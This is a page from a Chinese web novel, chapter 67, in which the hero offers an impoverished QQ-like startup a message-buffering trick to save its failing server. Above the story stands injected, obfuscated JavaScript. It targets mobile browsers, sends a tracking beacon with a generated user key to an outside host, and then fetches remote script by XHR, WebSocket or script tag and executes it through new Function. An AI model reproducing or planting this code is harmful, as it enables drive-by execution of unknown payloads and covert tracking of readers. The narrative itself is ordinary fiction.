第67章(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“你们是谁?”
曾利庆第一个发现了门外的李晋和唐俊,好奇地问道。
“有什么事吗?”
张之冬和徐辰夜也回过神来,问道。
他们藤训虽然已经成立一年多,如今的用户也达到500万,但平时公司里几乎不会来什么外人。
“我们是来跟你们合作的。”李晋笑道,“不过在讨论这个问题之前,你们的服务器再不处理一下的话,马上就崩溃了。”
和记忆中的如出一辙,此时的藤训简直穷得可怕。
整个腾讯靠着马华藤早年做软件和炒股赚来的第一桶金支撑到现在,也已经捉襟见肘,五个创始人工资都发不出来。
而最大的问题还是服务器。
现在可不是后世,服务器资源一大把,这个年头,一台最普通的服务器都要几十万,除了那些财大气粗的国企,民营企业几乎买不起服务器。
藤训现在用的服务器还是张之冬走投无路之际,跑去华强北买配件凑出来的山寨货。
由此可见,现在的藤训已经穷到了什么地步。
听到李晋的提醒,张之冬扭头看着服务器上已经濒临崩溃的庞大数据流,惨叫一声忙扑了上去。
藤训公司的五大创始人,除了负责法务的陈义单之外,每一个都是顶级的技术狂人,否则的话藤训靠着一套组装出来的山寨服务器根本不可能支撑到500万用户。
小小的办公室里键盘声噼里啪啦的狂响,张之冬死死地盯着屏幕,脑门见汗。
这个负责开发了qq主程序的技术大牛现在的心情并不好。
“曾利庆,快想想办法,现在服务器负载太大,随时会崩溃,一旦崩溃我们会损失很多用户。”
“能有什么办法。”曾利庆的手指抽风一样敲击着键盘,“服务器性能已经到了极限,要么立刻增加一台服务器,要么就是等着宕机。”
“真不行,就强行让一部分用户下线?这样能稍微缓解一下。”徐辰夜提议。
听到他的提议,另外两人都没吭声,用户就是藤训的命根子,强行让用户掉线固然能缓解服务器压力,但却有本末倒置之嫌。
这时候,始终站在他们身后看着他们忙碌的唐俊悄声对李晋说:“李总,这帮年轻人的气氛到是不错,可就是......”
“太穷了是吧。”李晋笑着说出了唐俊不好意思说出来的话。
“不穷,就没我们的机会了。”李晋淡然说道。
说着,他靠近一步,对着满头大汗的张之冬说:“换个思路,现在服务器的主要压力来自于全国用户聊天之间的数据传输。”
“可以在服务器内存中开辟一个缓存区,用来储存用户当前发送的消息,延迟1秒再发送出去,这样用户几乎感受不到延迟,服务器却有了1秒的喘息机会,可以释放更大算力。”
李晋的提议给张之冬三人打开了全新的大门。
张之冬稍加思索就确定这绝对是个可行的办法。
“徐辰夜曾利庆,快,照办!你们写缓存区,我扛着这边的数据流,马上!”